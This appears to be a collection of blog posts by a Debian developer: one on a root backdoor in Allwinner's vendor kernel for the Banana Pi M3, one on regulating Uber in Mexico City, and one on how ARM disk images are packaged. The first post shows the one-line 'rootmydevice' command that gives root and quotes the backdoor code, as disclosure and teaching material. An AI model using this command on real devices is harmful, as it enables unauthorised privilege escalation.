In the ARM world, to which I am still mostly a newcomer (although I've been already playing with ARM machines for over two years, I am a complete newbie compared to my Debian friends who live and breathe that architecture), the most common way to distribute operating systems is to distribute complete, already-installed images. I have ranted in the past on how those images ought to be distributed.
Some time later, I also discussed on my blog on how most of this hardware requires unauditable binary blobs and other non-upstreamed modifications to Linux.
Anyway, one of the points we make emphasis on to our students is that the very concept of embedded makes the mere idea of downloading a pre-built, 4GB image, loaded with a (supposedly lightweight, but far fatter than my usual) desktop environment and whatnot an irony.
As part of the "Linux Userspace" and "Boot process" modules, we make a lot of emphasis on how to build a minimal image. And even leaving installed size aside, it all boils down to trust. We teach mainly four different ways of setting up a system:
- Using our trusty Debian Installer in the (unfortunately few) devices where it is supported
- Installing via Debootstrap, as I did in my CuBox-i tutorial (note that the tutorial is nowadays obsolete. The CuBox-i can boot with Debian Installer!) and just keeping the boot partition (both for u-boot and for the kernel) of the vendor-provided install
- Building a barebones system using the great Buildroot set of scripts and hacks
- Downloading a full, but minimal, installed image, such as OpenWRT (I have yet to see what's there about its fork, LEDE)
Now... In the past few days, a huge vulnerability / oversight was discovered and made public, supporting my distrust of distribution forms that do not come from, well... The people we already know and trust to do this kind of work!
Most current ARM chips cannot run with the stock, upstream Linux kernel. Then require a set of patches that different vendors pile up to support their basic hardware (remember those systems are almost always systems-on-a-chip (SoC)). Some vendors do take the hard work to try to upstream their changes — that is, push the changes they did to the kernel for inclusion in mainstream Linux. This is a very hard task, and many vendors just abandon it.
So, in many cases, we are stuck running with nonstandard kernels, full with huge modifications... And we trust them to do things right. After all, if they are knowledgeable enough to design a SoC, they should do at least decent kernel work, right?
Turns out, it's far from the case. I have a very nice and nifty Banana Pi M3, based on the Allwinner A83T SoC. 2GB RAM, 8 ARM cores... A very nice little system, almost usable as a desktop. But it only boots with their modified 3.4.x kernel.
This kernel has a very ugly flaw: A debugging mode left open, that allows any local user to become root. Even on a mostly-clean Debian system, installed by a chrooted debootstrap:
- Debian GNU/Linux 8 bananapi ttyS0
- banana login: gwolf
- Last login: Thu Sep 24 14:06:19 CST 2015 on ttyS0
- Linux bananapi 3.4.39-BPI-M3-Kernel #9 SMP PREEMPT Wed Sep 23 15:37:29 HKT 2015 armv7l
- The programs included with the Debian GNU/Linux system are free software;
- the exact distribution terms for each program are described in the
- individual files in /usr/share/doc/*/copyright.
- Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
- permitted by applicable law.
- gwolf@banana:~$ id
- uid=1001(gwolf) gid=1001(gwolf) groups=1001(gwolf),4(adm),20(dialout),21(fax),24(cdrom),25(floppy),26(tape),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev)
- gwolf@banana:~$ echo rootmydevice > /proc/sunxi_debug/sunxi_debug
- gwolf@banana:~$ id
Why? Oh, well, in this kernel somebody forgot to comment out (or outright remove!) the sunxi-debug.c file, or at the very least, a horrid part of code therein (it's a very small, simple file):
- cred = (struct cred *)__task_cred(current);
- cred->uid = 0;
- cred->gid = 0;
- cred->suid = 0;
- cred->euid = 0;
- cred->euid = 0;
- cred->egid = 0;
- cred->fsuid = 0;
- cred->fsgid = 0;
- printk("now you are root\n");
Now... Just by looking at this file, many things should be obvious. For example, this is not only dangerous and lazy (it exists so developers can debug by touching a file instead of... typing a password?), but also goes against the kernel coding guidelines — the file is not documented nor commented at all. Peeking around other files in the repository, it gets obvious that many files lack from this same basic issue — and having this upstreamed will become a titanic task. If their programmers tried to adhere to the guidelines to begin with, integration would be a much easier path. Cutting the wrong corners will just increase the needed amount of work.
Anyway, enough said by me. Some other sources of information:
- The Register: This is what a root debug backdoor in a Linux kernel looks like
- How to root any Allwinner device running Android and most of the Chinese “Pi” clones which bet on Allwinner Android Linux Kernel, with some interesting comments regarding the extent of this bug's impact in different chips from the same family
- Commit fixing it on the SinoVoip repository — Of course, the fun part will be delivering it to users. If affected machines are effectively running as embedded systems of any sort... good luck with it! :-P
There are surely many other mentions of this. I just had to repeat it for my local echo chamber, and for future reference in class! ;-)
The discussion regarding the legality and convenience of Uber, Cabify and similar taxi-by-app services has come to Mexico City — Over the last few days, I've seen newspapers talk about taxi drivers demonstrating against said companies, early attempts at regulating their service, and so on.
I hold the view that every member of a society should live by its accepted rules (i.e. laws) — and if they hold the laws as incorrect, unfair or wrong, they should strive to get the laws to change. Yes, it's a hard thing to do, most often filled with resistence, but it's the only socially responsible way to go.
Private driver hiring applications have several flaws, but maybe the biggest one is that they are... How to put it? I cannot find a word better than illegal. Taxi drivers in our city (and in most cities, as far as I have read) undergo a long process to ensure they are fit for the task. Is the process incomplete? Absolutely. But the answer is not to abolish it in the name of the free market. The process must be, if anything, tightened. The process for granting a public driver license to an individual is way stricter than to issue me a driving license (believe it or not, Mexico City abolished taking driving tests several years ago). Taxis do get physical and mechanical review — Is their status mint and perfect? No way. But compare them to taxis in other Mexican states, and you will see they are in general in a much better shape.
Now... One of the things that angered me most about the comments to articles such as the ones I'm quoting is the middle class mentality they are written from. I have seen comments ranging from stupidly racist humor attempts (Mr. Mayor, the Guild of Kidnappers and Robbers of Iztapalapa demand the IMMEDIATE prohibition on UBER as we are running low on clients or the often repeated comment that taxi drivers are (...) dirty, armpit-smelly that listen to whatever music they want) to economic culture-based discrimination Uber is just for credit card users as if it were enough of an argument... Much to the opposite, it's just discrimination, as many people in this city are not credit subjects and do not exist in the banking system, or cannot have an always-connected smartphone — Should they be excluded from the benefits of modernity just because of their economic difference?
And yes, I'm by far not saying Mexico City's taxi drivers are optimal. I am an urban cyclist, and my biggest concern/fear are usually taxi drivers (more so than microbus drivers, which are a class of their own). Again , as I said at the beginning of the post, I am of the idea that if current laws and their enforcement are not enough for a society, it has to change due to that society's pressure — It cannot just be ignored because nobody follows the rules anyway. There is quite a bit that can be learnt from Uber's ways, and there are steps that can be taken by the company to become formal and legal, in our country and in others where they are accused of the same lacking issues.
We all deserve better services. Not just those of us that can pay for a smartphone and are entitled to credit cards. And all passenger-bearing services require strict regulations.
I am among the lucky people who got back home from DebConf with a brand new computer: a Banana Pi. Despite the name similarity, it is not affiliated with the very well known Raspberry Pi, although it is a very comparable (although much better) machine: A dual-core ARM A7 system with 1GB RAM, several more on-board connectors, and same form-factor.
I have not yet been able to get it to boot, even from the images distributed on their site (although I cannot complain, I have not devoted more than a hour or so to the process!), but I do have a gripe on how the images are distributed.
I downloaded some images to play with: Bananian, Raspbian, a Scratch distribution, and Lubuntu. I know I have a long way to learn in order to contribute to Debian's ARM port, but if I can learn by doing... ☻
So, what is my gripe? That the three images are downloaded as archive files:
- 0 gwolf@mosca『9』~/Download/banana$ ls -hl bananian-latest.zip \
- > Lubuntu_For_BananaPi_v3.1.1.tgz Raspbian_For_BananaPi_v3.1.tgz \
- > Scratch_For_BananaPi_v1.0.tgz
- -rw-r--r-- 1 gwolf gwolf 222M Sep 25 09:52 bananian-latest.zip
- -rw-r--r-- 1 gwolf gwolf 823M Sep 25 10:02 Lubuntu_For_BananaPi_v3.1.1.tgz
- -rw-r--r-- 1 gwolf gwolf 1.3G Sep 25 10:01 Raspbian_For_BananaPi_v3.1.tgz
- -rw-r--r-- 1 gwolf gwolf 1.2G Sep 25 10:05 Scratch_For_BananaPi_v1.0.tgz
Now... that is quite an odd way to distribute image files! Specially when looking at their contents:
- 0 gwolf@mosca『14』~/Download/banana$ unzip -l bananian-latest.zip
- Archive: bananian-latest.zip
- Length Date Time Name
- --------- ---------- ----- ----
- 2032664576 2014-09-17 15:29 bananian-1409.img
- --------- -------
- 2032664576 1 file
- 0 gwolf@mosca『15』~/Download/banana$ for i in Lubuntu_For_BananaPi_v3.1.1.tgz \
- > Raspbian_For_BananaPi_v3.1.tgz Scratch_For_BananaPi_v1.0.tgz
- > do tar tzvf $i; done
- -rw-rw-r-- bananapi/bananapi 3670016000 2014-08-06 03:45 Lubuntu_1404_For_BananaPi_v3_1_1.img
- -rwxrwxr-x bananapi/bananapi 3670016000 2014-08-08 04:30 Raspbian_For_BananaPi_v3_1.img
- -rw------- bananapi/bananapi 3980394496 2014-05-27 01:54 Scratch_For_BananaPi_v1_0.img
And what is bad about them? That they force me to either have heaps of disk space available (2GB or 4GB for each image) or to spend valuable time extracting before recording the image each time.
Why not just compressing the image file without archiving it? That is,
- 0 gwolf@mosca『7』~/Download/banana$ tar xzf Lubuntu_For_BananaPi_v3.1.1.tgz
- 0 gwolf@mosca『8』~/Download/banana$ xz Lubuntu_1404_For_BananaPi_v3_1_1.img
- 0 gwolf@mosca『9』~/Download/banana$ ls -hl Lubun*
- -rw-r--r-- 1 gwolf gwolf 606M Aug 6 03:45 Lubuntu_1404_For_BananaPi_v3_1_1.img.xz
- -rw-r--r-- 1 gwolf gwolf 823M Sep 25 10:02 Lubuntu_For_BananaPi_v3.1.1.tgz
Now, wouldn't we need to decompress said files as well? Yes, but thanks to the magic of shell redirections, we can just do it on the fly. That is, instead of having 3×4GB+1×2GB files sitting on my hard drive, I just need to have several files ranging between 145M and I guess ~1GB. Then, it's as easy as doing:
- 0 gwolf@mosca『8』~/Download/banana$ dd if=<(xzcat bananian-1409.img.xz) of=/dev/sdd
And the result should be the same: A fresh new card with Bananian ready to fly. Right, right, people using these files need to have xz installed on their systems, but... As it stands now, I can suppose current prospective users of a Banana Pi won't fret about facing a standard Unix tool!
(Yes, I'll forward this rant to the Banana people, it's not just bashing on my blog :-P )
[update] Several people (thanks!) have contacted me stating that I use a bashism: The <(…) construct is specific to Bash. If you want to do this with any other shell, it can be done with a simple pipe:
- $ xzcat bananian-1409.img.xz | dd of=/dev/sdd
That allows for less piping to be done on the kernel, and is portable between different shells. Also, a possibility would be:
- $ xzcat bananian-1409.img.xz > /dev/sdd
Although that might not be desirable, as it avoids the block-by-block nature of dd. I'm not sure if it makes a realdifference, but it's worth saying :)
And yes, some alternatives for not unarchiving the file — Here in the blog, an anon commenter suggests (respectively, for zip and .tar.gz files):
- $ dd if=<(unzip -p bananian-latest.zip) of=/dev/sdd
- $ dd if=<(tar -xOf Lubuntu_For_BananaPi_v3.1.1.tgz) of=/dev/sdd
And a commenter by IRC suggests:
- $ paxtar -xOaf Raspbian_For_BananaPi_v3.1.tgz Raspbian_For_BananaPi_v3_1.img | sudo dd bs=262144 of=/dev/…